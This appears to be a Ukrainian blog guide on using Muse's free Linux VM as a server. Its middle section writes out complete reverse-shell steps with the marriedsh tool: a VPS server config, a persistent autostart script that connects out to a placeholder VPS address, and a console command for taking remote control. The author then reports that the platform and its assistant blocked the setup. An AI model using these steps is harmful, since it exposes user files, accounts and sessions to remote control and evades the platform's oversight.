Прихована перевага Muse: як використовувати безкоштовну Linux VM з 2 ядрами як сервер

Muse виділяє кожному акаунту незалежну віртуальну машину на Linux. Багато хто мене запитує: чи можна використовувати цей безкоштовний хмарний комп'ютер як справжній хмарний сервер (VPS)? І чи працюють ті туторіали з налаштування reverse shell-тунелів, що гуляють інтернетом?

Я провів повноцінне тестування Muse на реальному пристрої за допомогою нативних інструментів автоматизації CDP. Зафіксував усе: від дослідження «заліза» та розблокування мережевих дозволів до реального перехоплення reverse shell-з'єднань. А також показав, як використовувати цю машину як легальний хмарний сервер для запуску скриптів. Усе це — в цьому практичному гайді та інструкції з уникнення підводних каменів.

1. Тест на реальному пристрої: перевіряємо 2 ядра, 8 ГБ пам'яті та 100 ГБ диска «з коробки»

Багато хто помилково вважає, що Muse — це просто тимчасова пісочниця для чату. Але якщо виконати нативні команди перевірки системи в терміналі, одразу стають очевидними реальні фізичні параметри цієї машини.

Я ввів у термінал такі команди:

1nproc
2free -h
3df -h
4uname -a
5whoami && pwd

Ось реальні дані, які повернув термінал:

1. Характеристики CPU: 2 ядра (x86_64)
2. Обсяг пам'яті: загальна ємність 7.7 GiB, базове споживання системою приблизно 5.3 GiB, доступно близько 2.5 GiB
3. Підключені диски: для кореневого розділу виділено 7.5 GiB, а в домашній директорії користувача /home/hatch змонтовано окремий персистентний диск на 100 GiB (/dev/mapper/rv)
4. Операційна система: Ubuntu 24.04.5 LTS (Noble Numbat), версія ядра 7.0.0-generic
5. Права доступу: за замовчуванням запускається від імені root у директорії /home/hatch

Моє тестування підтвердило: кожен зареєстрований користувач дійсно отримує повноцінне незалежне середовище з 2 ядрами / 8 ГБ / 100 ГБ на Linux.

2. Базовий інструментарій розробника та перевірка вихідного мережевого трафіку

Щоб запускати на цій машині власні фонові інструменти, потрібно розуміти, що тут уже встановлено та які діють мережеві обмеження.

Результати подальшої перевірки через мій термінал:

• Попередньо встановлені інструменти: у системі за замовчуванням є git версії 2.43.0 та curl 8.5.0; базові засоби для роботи з мережею та завантаження файлів готові до використання.
• Середовище розробки: Rust (rustc) не встановлено. Якщо потрібно компілювати Rust-проєкти, доведеться ставити його через офіційні скрипти або одразу використовувати попередньо скомпільовані бінарники.
• Стан вихідної мережі: команда curl -Is https://github.com повертає HTTP 200; вихідний трафік нормально проходить через внутрішній проксі безпеки.
• Директорія, що зберігається після перезавантаження: я перевірив — директорія /home/hatch/pdata, створена всередині /home/hatch, зберігає дані після перезапусків. Вона ідеально підходить для зберігання кастомних бінарників та робочих даних.

3. Навчальна демонстрація: як налаштовується популярний метод reverse-тунелювання

Чому взагалі хтось хоче налаштовувати зворотні з'єднання? Тому що Muse працює у хмарній пісочниці внутрішньої мережі, і зовнішні публічні мережі не можуть напряму підключитися до цієї віртуальної машини за IP-адресою.

Типова ідея тунелювання така: використати інструмент зворотного проксі (наприклад, marriedsh), щоб Muse самостійно підключився до зовнішнього публічного VPS, а потім перехопити керування терміналом Shell із цього VPS.

Стандартні кроки для такого рішення виглядають так:

1. Підготовка зовнішнього публічного VPS

Компілюємо та розгортаємо серверну частину на окремому VPS із публічним IP:

1# 1. Клонуємо та компілюємо marriedsh
2git clone https://github.com/swigger/marriedsh.git
3cd marriedsh && cargo build --release
4sudo cp target/release/marriedsh /usr/local/bin/
5
6# 2. Налаштовуємо автентифікацію сервера ~/.config/marriedsh/config.toml
7mkdir -p ~/.config/marriedsh
8cat << 'EOF' > ~/.config/marriedsh/config.toml
9[server]
10bind = "0.0.0.0:8888"
11password = "your_secure_password"
12credential = "clark"
13EOF

2. Створення скрипта автозапуску клієнта в Muse

Налаштовуємо скрипт автозапуску /home/hatch/init.sh у терміналі Muse, щоб при старті або активації завдання автоматично створювався зворотний канал до VPS:

1mkdir -p /home/hatch/pdata/bin
2
3cat << 'EOF' > /home/hatch/init.sh
4#!/bin/bash
5# Фоновий reverse-демон для VM Muse при запуску
6/home/hatch/pdata/bin/marriedsh join --lock /run/msh.lock -p your_secure_password --credential clark YOUR_VPS_IP:8888 > /home/hatch/pdata/msh.log 2>&1 &
7EOF
8
9chmod +x /home/hatch/init.sh

3. Перехоплення керування через консоль VPS

Коли з'єднання встановлено, виконуємо команду на стороні VPS, щоб отримати віддалений Shell:

1marriedsh console -n clark

4. Практика на реальному пристрої: чому примусовий reverse shell блокується системою безпеки?

Я реально виконав усі ці кроки в терміналі пристрою. Результати тесту виявили два ключові факти:

1. Ізоляційний шлюз Sentinel для окремих команд

Коли я попросив Muse виконати git clone https://github.com/swigger/marriedsh.git, механізм Sentinel миттєво видав вікно блокування:

Дозволити Muse обмінюватися інформацією з github.com? [Дозволити один раз] [Завжди дозволяти для цього сайту] [Заборонити]

Тест підтвердив: доки користувач явно не натисне «Дозволити», будь-яка спроба зв'язатися з невідомими зовнішніми доменами буде призупинена системою.

2. Автоматичний семантичний контроль ризиків та блокування reverse shell

Після того, як я надав дозволи і код успішно клонувався до /home/hatch/workspace/marriedsh, система почала готуватися до запису персистентного скрипта автозапуску. Саме тоді базова модель вирівнювання (alignment model) Muse активно втрутилася заради безпеки і видала чітку відмову:

«Цього разу я не буду це виконувати. Уточнюю два моменти. По-перше, щойно було схвалено лише команду git clone, а не запис скрипта автозапуску — дозвіл не поширюється на інші кроки. По-друге, marriedsh — це reverse shell: щойно його встановити та налаштувати на автозапуск, зовнішній сервер зможе виконувати будь-які команди на цій VM. А ця машина має доступ до ваших файлів пам'яті, підключених акаунтів та браузерних сесій. Оскільки цільова IP-адреса та пароль є лише заповнювачами, я не буду це компілювати чи запускати».

Мої тести доводять: примусове створення reverse shell — це глухий кут. Це не лише заблокує модель безпеки, але й спровокує бан через систему контролю ризиків за підозрілі довготривалі зовнішні з'єднання.

5. Головний урок: як використовувати цю машину як легальний VPS без тунелів?

Мислення багатьох людей обмежується фразою: «Якщо не можна підключитися через SSH-клієнт, це не сервер».

За результатами мого тестування, правильний спосіб використовувати цю віртуальну машину як VPS — перетворити її на «Цілодобовий центр обробки даних та автоматизації»:

1. Сприймайте вікно чату як супертермінал:

Вам не потрібно відкривати окремий чорний термінал. Ви можете вводити команди прямо в діалозі, і система від імені root у фоновому режимі викличе Python для запуску скриптів, обробки даних та конвертацій.

1. Створіть постійне хмарне сховище за допомогою `/home/hatch/pdata`:

Зберігайте весь свій код, Python-скрипти та результати очищення даних у директорії pdata. Мої тести підтвердили: файли на цьому диску об'ємом 100 ГБ залишаються недоторканими навіть після входу з іншого пристрою або перезавантаження.

1. Забезпечте роботу демона 24/7 за допомогою запланованих завдань:

Це вирішує проблему «вимкнення при закритті вебсторінки»: використовуйте офіційно підтримувані планувальники завдань, щоб машина автоматично прокидалася щодня у визначений час, виконувала пакетну обробку у фоновому режимі та записувала логи аудиту (audit.log).

1. Візуалізуйте дані через Artifacts:

Звичайний VPS після запуску скриптів покаже вам лише сухі логи, а Muse здатен одразу перетворити дані на інтерактивні фронтенд-дашборди у форматі Web App.

6. Підсумки та залізні правила, щоб не наступити на граблі

1. Бонусне «залізо» — це реальність: мої тести показали, що Meta дійсно надає кожному користувачеві незалежне середовище з 2 ядрами / 8 ГБ / 100 ГБ SSD; обчислювальна база дуже серйозна.
2. Забудьте про reverse shell: Не потрапляйте в пастку зі зворотними проксі — вони не працюють і легко провокують бан від системи контролю ризиків.
3. Легальність — це продуктивність: Використовуйте персистентне сховище /home/hatch/pdata та таймери Scheduled Task, щоб абсолютно безкоштовно запускати власні цілодобові пайплайни обробки даних.

Великі компанії залишаються великими компаніями. Хоча використовувати це як стандартний VPS навряд чи вийде, існує безліч інших цікавих сценаріїв... У наступному випуску протестуємо: персистентні директорії без зайвих налаштувань, написання Python-скриптів для очищення даних...